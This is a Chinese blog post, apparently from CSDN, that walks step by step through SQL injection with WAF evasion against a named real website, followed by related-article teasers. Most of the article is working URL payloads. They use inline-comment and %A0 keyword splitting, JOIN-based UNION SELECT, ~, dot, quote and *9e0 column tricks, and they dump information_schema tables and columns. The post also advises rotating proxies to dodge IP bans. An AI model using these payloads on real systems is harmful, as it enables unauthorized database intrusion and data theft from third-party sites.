MySQL绕过WAF实战技巧

SQL注入绕过安全狗 SQL注入绕过安全狗,内容很详细,本文仅供学习,请勿做一些非法事情,出事与博主无关。 阅读详情

一、前言

本人喜欢遇到好的东西,互相学习,共同进步。在安全行业也有些曲折,发过工控协议fuzzing的入门教程,也发过无线安全的渗透测试脚本。这次发个web的吧。仅供学习,本人也是小菜。大牛直接飞过吧。

二、综述

最近在研究web安全,感觉不掌握点绕过技巧,没法混,在看了几天的关于sql注入绕过的方式后,大都是宏观的讲解有哪些绕过方式。简单的总结了下:

1、注释方式绕过

2、编码方式绕过

3、大小写方式绕过

4、缓冲区溢出导致拒绝服务从而绕过(fuzz技术)

这是目前几天所看到的,有好的思路的小伙伴,可以随时交流。之前建了一个无线电安全研究的群:163309269。欢迎不限于研究无线电、物联网安全的大牛加入。

这次主要是看到国外大牛对mysql注入测试的一些思路,然后自己整理下,分享下。对于只看宏观文章,没有实战的演练,无疑是很好的案例。

三、具体实现

本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php?id=123

1、首先加入单引号http://www.ecgi.org/wp/wp_id.php?id=123’,出现下面提示:owner has denied your access to the site.然后尝试bypass。

2、然后在输入如下测试链接:http://www.ecgi.org/wp_id.php?id=123’oRder By 100-- -  会再次阻塞我们的 IP地址,拒绝我们访问。

3、尝试Group By,测试链接为:http://www.ecgi.org/wp/wp_id.php?id=213’Group By 100 -- -   出现Unknown column ‘100’in ‘group statemeat’。这里代表Group By可以工作,waf不能阻塞。

然后用如下测试:这里代表是25列。

4、下面测试如何Bypass Order By。通过手工测试发现只要Order和By连在一起就会被waf阻塞。通过测试payload  为:http://www.ecgi.org/wp/wp_id.php?id=213’Order%A0By 100  出现报错,说明waf没有过滤,已经可以bypass。

这里还有一种方式:payload为:http://www.ecgi.org/wp/wp_id.php?id=213’/**_**//*!50000Order*/ By 100 -- -

依然可以报错,说明也可以bypass waf。

5、接下来进行联合查询,使用union select。使用手工测试下:http://www.ecgi.org/wp/wp_id?id=123’UnIoN SeLeCt      发现被waf拦截。下面再次尝试bypass。

首先手工判断下过滤字段是什么,经过测试发现只要UnIoN和SeLeCT连在一起,就会别waf拦截。那么开始写paylaod来绕过吧。

payload为:http://www.ecgi.org/wp/wp_id.php?id=213’/**_**/UnIoN(/*!50000SeLeCt*/1,2 -- -   (温馨提示,有些waf可能会在攻击者较多测试过程中会封锁IP,建议使用代理不断更新自己的IP地址)。这里报错,说明已经bypass了。

上面知道了column是25,那么我们可以构造payload为:

http://wwww.ecgi.org/wp/wp_id.php?id=-213’/**_**/UnIoN(/*!50000SeLeCt*/1,2,3,4444444444444,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)-- -  来进行测试:发现在Title中爆出我们填写的数据。

在UnIoN和SeLeCt直接过滤情况下,还可以尝试另一种方式来进行测试,从而绕过waf。

http://www.ecgi.org/wp/wp_id.php?id=213’UnIoN%A0SeLeCT 1,2 -- -

这里会报错,说明可以bypass。

但是在联合查询的时候,查询填充的列分割较多时,就会别waf拦截。如下payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’UnIoN%A0SeLeCT 1,2,3,4,5,6 -- -

这里存在几种绕过方式:

(1)使用Join查询

 payload构造为:

http://wwww.ecgi.org/wp/wp_id.php?id=-213’  UnIoN%A0SeLeCT*FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt 3)c JOIN (SeLeCt 4)d JOIN (SeLeCt 5)e JOIN (SeLeCt 6)f JOIN (SeLeCt 7)g JOIN (SeLeCt 8)h JOIN (SeLeCt 9)i JOIN (SeLeCt 10)j JOIN (SeLeCt 11)k JOIN (SeLeCt 12)l JOIN (SeLeCt 13)m JOIN (SeLeCt 14)n JOIN (SeLeCt 15)o JOIN (SeLeCt 16)p JOIN (SeLeCt 17)q JOIN (SeLeCt 18)r JOIN (SeLeCt 19)s JOIN (SeLeCt 20)t JOIN (SeLeCt 21)w JOIN (SeLeCt 22)x JOIN (SeLeCt 23)y JOIN (SeLeCt 24)z JOIN (SeLeCt 25)2a-- -

如下图所示,bypass成功!

(2)使用字符(~)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- -  

这里依然被waf拦截。

然后在5前面加入~,payload为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,~5,~6-- -

如图所示,bypass成功!

(3)使用小数点(.)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,.5,.6-- -

如图所示,bypass成功!

(4)使用单引号(‘’)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,’5’,’6’-- -

如图所示,bypass成功!

(5)使用双引号(“”)

payload构造为:

http://www.ecgi.org/wp/wp_id?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,”5”,”6”-- -

如图所示,bypass成功!

(6)使用字符(*9e0)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?=213’*9e0UnIoN 

SeLeCT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- -

如图所示,bypass成功!

6、上面基本绕过之后,开始尝试爆数据。

首先我们爆一下information_schema的table_name.

构造payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN 

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FrOm Information_schema-- -

这里被waf拦截。

好吧,继续bypass操作。。。

首先通过手工尝试,看看过滤什么字段,通过测试过滤了FrOm。我们这里可以选择上面的一些绕过方式,比如

%A0或者/*!50000*/都没有成功。

下面来讲一下通过其他两种方式来进行bypass测试。

(1)在FrOm前加e0 来bypass

 构造payload:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN 

SeleCT 1,2,3,ConCat(table_name)5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema-- -

如图所示,发现报错,说明bypass成功!

然后在构造完整的查询。Information_schema.Tables。如图所示:oh shit....依然被waf拦截。

接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。那么构造payload吧:

http://www.ecgi.org/wp/wp_id.php?od=213’*9e0UnIoN 

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema./**_**/Tables-- -

如图所示,bypass成功!

(2)加小数点来bypass

payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN 

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/Tables-- -

如图所示,bypass成功!

7、下面来让我们打印出information_schema数据库的所有的表和列吧。

测试payload的为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns-- -

如图所示:

8、接着来打印primary DATABASE。好吧,这里被过滤了where。

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns Where-- -

下面尝试绕过,废话不多数,绕过方式使用/*!50000*/。如图所示:

9、我们想查询出插入的一句话,这里以大牛为例:INSET BY SAJIB。

把这段字符转换为hex,好吧,这里被waf拦截了,说明过滤了Hex Convert Number。如图所示:

那么我们可以尝试把字符改为二进制(text to binary Convert)来绕过。可以bypass。(需要注意的是二进制前面一定要加0b)

四、总结

绕过方千变万化,思路+知识积累是不可或缺的。希望这篇文章对学习bypass的小伙伴有用。本人也在学习和搜集关于oracle的一些绕过waf技巧,有感兴趣的可以互相学习,探讨。

MySQL 布尔盲注深度防御:5 种 WAF 绕过技巧与实战场景分析 本文深入探讨MySQL布尔盲注的防御策略,特别是针对WAF的5种绕过技巧,包括空格替代、函数变形、大小写混淆、编码绕过和时间盲注结合。通过实战场景分析,帮助开发者和安全研究人员构建更坚固的防御体系,有效应对高级SQL注入攻击。 阅读详情

相关推荐

SQL注入WAF绕过深度解析:从NCTF 2018看5种空格替代符与闭合技巧

本文深度解析SQL注入WAF绕过技术,以NCTF 2018为例,详细介绍了5种空格替代符与闭合技巧。通过实测对比,发现非断空格(%a0)在绕过WAF过滤中效果最佳,并结合逻辑运算、OR短路和字符串连接等技巧实现高效注入。文章还提供了联合注入的实战案例,帮助安全研究者掌握现代WAF环境下的SQL注入防御与绕过策略。

stevenbill的博客 162

sql注入中过滤关键字(union select等等)

今天来学习一下注入中关键字被过滤了该如何解决 打开靶场,这是我本地搭建的一个靶场所以没有靶场地址 我们在输入框内输入一个1 查询一下结果。 尝试闭合和注释,发现单引号即可完成闭合,--+作为注释内容,通过order by查询列数 看到页面上方order的or被过滤,说明or即是关键词,我们双写or,变成 oorrder by 2 (一定要在or的中间双写or,不然两个都会被注释掉) 通过order by发现只有两列数据,那么开始联合注入 ...

没事我溜达 9781

WAF绕过实战:从SQL注入基础到高级混淆技巧

SQL注入作为Web安全领域的经典攻击方式,其核心原理是利用应用程序对用户输入验证不足,将恶意SQL代码插入到数据库查询中,从而窃取或篡改数据。随着企业安全防护意识的提升,Web应用防火墙(WAF)通过特征匹配、语义分析和行为检测等多层机制,成为拦截此类攻击的关键防线。理解WAF的工作原理,掌握绕过技巧,对于安全测试人员评估系统真实防护能力具有重要价值。在实际渗透测试和CTF比赛中,通过**关键字混淆**(如大小写混合、内联注释)和**编码变形**(如双重URL编码、Unicode编码)等手法,可以有效绕过

cri5768的博客 499

数据库语法整理及WAF绕过方式

关系型数据库:指采用了关系模型来组织数据的数据库。

程序员小麦的博客 1458

手工注入绕过过滤实战:从原理到高级技巧

SQL注入作为Web安全领域的核心漏洞类型,其本质是攻击者通过构造恶意输入,篡改后端数据库查询逻辑,从而窃取数据或执行未授权操作。理解其原理需要掌握SQL语法、数据库解析机制及应用程序的数据流处理过程。这项技术的工程价值在于,它不仅是渗透测试中发现深层漏洞的关键手段,更能反向推动开发者构建更 robust 的防御体系,例如采用参数化查询、强化输入验证等。在实际应用场景中,面对黑名单过滤、WAF规则等防御层,攻击者常利用**编码混淆**、**特殊字符插入**等技术进行绕过。本文聚焦于**手工注入**这一需要深

weixin_26642481的博客 251

CTF实战:绕过WAF的SQL注入技巧与防御策略

SQL注入是一种常见的Web安全漏洞,攻击者通过构造恶意SQL语句,能够非法操作数据库,窃取敏感数据。其原理在于应用程序未对用户输入进行充分过滤,使得输入数据被直接拼接到SQL查询中执行。理解SQL注入的技术价值在于,它不仅是渗透测试的核心技能,也是构建安全应用必须防范的风险。在CTF竞赛和实际攻防场景中,Web应用防火墙(WAF)常被部署以拦截此类攻击,但攻击者可通过字符变形、语法特性利用等手段尝试绕过。例如,通过大小写混合、内联注释或空白符替换等技巧,可以构造对WAF“无害”但对数据库有效的payloa

weixin_30416871的博客 402

sql注入用<>绕过被过滤的select ——百度杯9月第二场SQL

题目提示SQL注入,打开源代码发现<!--SELECT * FROM info WHERE id=1--> 尝试union select 1,2,3提示inj code! 经过多次尝试之后发现select已经被过滤,于是百度绕过select过滤的方法,/*!%53eLEct*/,发现依旧无法绕过select过滤 经过再次尝试后发现可以用<>进行绕过,于是构造...

ancan8807的博客 1万+

SQL注入绕过与Tamper脚本:多数据库适配与WAF对抗实战

SQL注入是一种通过将恶意SQL代码插入到应用输入参数中,从而操纵后端数据库执行的攻击技术。其原理在于应用程序未对用户输入进行充分的验证和过滤,使得攻击者能够破坏原始查询逻辑,执行非授权的数据库操作。这项技术的核心价值在于揭示了输入验证和查询构建中的安全缺陷,是评估Web应用安全性的关键测试点。在实际的渗透测试和网络安全防御中,攻击者常需绕过Web应用防火墙(WAF)和输入过滤机制,这时便需要用到Tamper脚本对攻击载荷进行动态混淆和变形。本文聚焦于如何针对MySQL、MSSQL等不同数据库的语法特性,编

adr5970的博客 459

【SQL注入如何绕过WAF】

不知道各位在平时的sql注入漏洞挖掘的过程中是否经常会遇到这样那样版本的安全狗,虽然说安全狗十分的可恶。今天就分享几种常见的安全狗绕过方法,亲测有效。特别是最后两种方法,100%绕过最新版本的安全狗。.........

qq_55213436的博客 1631

SQL注入实战:从基础探测到WAF绕过的60种Payload技巧解析

SQL注入作为Web安全领域的核心漏洞,其本质是攻击者通过构造恶意SQL语句,干扰应用程序与数据库的正常交互逻辑,从而窃取、篡改或破坏数据。理解其原理是防御和渗透测试的基础。从基础的错误回显、布尔逻辑判断,到利用UNION查询进行信息收集,再到应对无回显场景的盲注与时间盲注技术,SQL注入的利用方式层层递进。随着防御手段的升级,尤其是Web应用防火墙(WAF)的普及,攻击者必须掌握一系列绕过过滤的技巧,例如通过**大小写混合、内联注释、特殊编码**等方式对关键字和空格进行变形,或利用数据库特性(如MySQL

weixin_34301132的博客 425

SQL注入过滤绕过3种实战手法对比:以CTF题目ez_sql为例

本文以SWPUCTF-2022的ez_sql题目为例,深入分析SQL注入过滤绕过的三种实战手法:双写绕过、注释符绕过和大小写/编码绕过。通过原理解析、实战对比和决策树构建,帮助安全研究者系统掌握绕过技术,提升Web安全防御能力。文章还提供了自动化实现建议和分层防御策略,适用于CTF竞赛和真实攻防场景。

weixin_42539414的博客 320

mysql绕waf_MySQL绕过WAF实战技巧

一、前言本人喜欢遇到好的东西,乐于分享,关注freebuf有段时间了,写过两篇文章,每次写写文章,不仅仅是为了挣点稿费。而是通过此平台能够认识一些安全圈的小伙伴,互相学习,共同进步。在安全行业也有些曲折,发过工控协议fuzzing的入门教程,也发过无线安全的渗透测试脚本。这次发个web的吧。仅供学习,本人也是小菜。大牛直接飞过吧。二、综述最近在研究web安全,感觉不掌握点绕过技巧,没法混,在看了几...

weixin_33462927的博客 380

ArcMap学习笔记(三)地图数字化

地图数字化前言地图数字化实现步骤1.加载地形图2.新建要素图层3.开启编辑环境4.设置捕捉环境5.选择数字化图层6.数字化控制点7.数字化等高线8.数字化图幅边框9.保存数字化成果总结 前言 使用软件:ArcMap10.4.1中文版 如果出现侵权,请在评论留言,我会及时删除,谢谢。 地图数字化 空间数据采集(输入)是将现有的地图、外业观测成果、航空像片、遥感图片数据、文本资料等转换成GIS可以直接...

JayWang博客 1万+

mysql绕过_MySQL绕过WAF实战技巧

*本文作者:blacksunny;本文属 FreeBuf 原创奖励计划,未经许可禁止转载。一、前言本人喜欢遇到好的东西,乐于分享,关注freebuf有段时间了,写过两篇文章,每次写写文章,不仅仅是为了挣点稿费。而是通过此平台能够认识一些安全圈的小伙伴,互相学习,共同进步。在安全行业也有些曲折,发过工控协议fuzzing的入门教程,也发过无线安全的渗透测试脚本。这次发个web的吧。仅供学习,本人也是...

weixin_42452244的博客 390

IAR下载Linux环境适配:入门级安装指导

详细介绍如何在Linux系统中完成iar下载与环境配置,帮助开发者快速上手IAR集成开发环境,解决常见安装问题,提升开发效率。

weixin_35754676的博客 766

奇异值分解(SVD)C++实现

奇异值分解SVD(紧奇异值分解,截断奇异值分解)C++实现

weixin_45804601的博客 4173

SQL注入之WAF绕过

SQL注入之WAF绕过 数据 大小写 加密解密 编码解码 等价函数 特殊符号 反序列化 注释符混用 方式 更改提交方式 变异 其他 Fuzz大法 数据库特性 垃圾数据溢出 HTTP参数污染

m0_48907714的博客 3598

AI Agent ReAct架构设计模型剖析

ReAct通过"思考-行动-观察"循环运作:智能体先进行自然语言推理,再调用外部工具执行行动,观察结果后继续推理直至解决问题。这种架构提高了透明度和准确性,减少幻觉风险,使LLM能主动分解任务并利用外部数据源。实现关键在于精心设计的提示模板,引导LLM按结构化格式响应,而非依赖模型固有能力。

weixin_43939320的博客 1250

SQL_ByPassWaf

这部分内容是本文的核心部分,在我看来是文章的灵魂吧,除了技巧方法外,还有一些思想指导,waf 绕过技术不同于一般的技术思考方向至关重要,有些技巧大部分人可能都已经掌握了但真正给一款waf摆在 面前,能突破防御的怕是少之有少。该技术是一个比较大比较复杂的范畴,参数污染、畸形请求包、chunk 分割、编码解码等方法林林总总,这些都是老生常谈的东西适用一定的条件、场合,普适性不强,所以这方 面内容本文不会涉及,我们要和waf这只老虎来个正面较量,相信会给大家带来惊喜和收益。软件类waf和云waf是本文的主角。

m0_62207482的博客 1642

【数据分享】12.5米分辨率DEM地形数据(分省)

该数据来源于NASA地球科学数据网站(https://nasadaacs.eos.nasa.gov/),是ALOS卫星获取的高精度地形数据。该数据由于精度高,包括全省范围的数据和省内每个城市范围的数据!

JData_Engineer的博客 2172

安装Office程序时无法安装的解决方案

本文主要介绍了安装Office程序时无法安装的解决方案,希望能对安装Office的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案 2.1 前置步骤 2.2 方法一 2.3 方法二

weixin_43178406的博客 15万+

waf测试用例

XSS Filter Evasion Cheat Sheet https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet MySQL Inject Bypass WAF http://pastebin.com/D8UXsyR8 转载于:https://www.cnblogs.com/debugzer0/ar...

weixin_34198583的博客 799

【GameFramework框架内置模块】15、场景(Scene)

场景(Scene)模块,提供场景管理的功能,负责场景的加载、卸载、切换和管理。可以方便地管理不同场景之间的切换以及不同场景之间的信息传递。

优快云博客专家,Unity3D高级软件工程师,《Unity 3D从入门到实战》作者。 1888

mysql免费版证明_绕过阿里云waf进行mysql limit注入证明

朋友发了我一个站点,来看看吧,是limit注入,不太常见。搞一搞吧。POST /Member/CompanyApply/lists HTTP/1.1Host: *Content-Length: 57Accept: application/json, text/javascript, */*; q=0.01Origin: *X-Requested-With: XMLHttpRequestUser-A...

weixin_27960253的博客 381

c++中,部署Ethercat IGH + PREEMPT_RT 环境,跑DC模式,如何实现?

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值 。

**My Coding Family** 1360

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

上一篇: Shiro反序列化漏洞原理详解及复现
下一篇: 护网攻防演练 | 从JS到内网横向
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值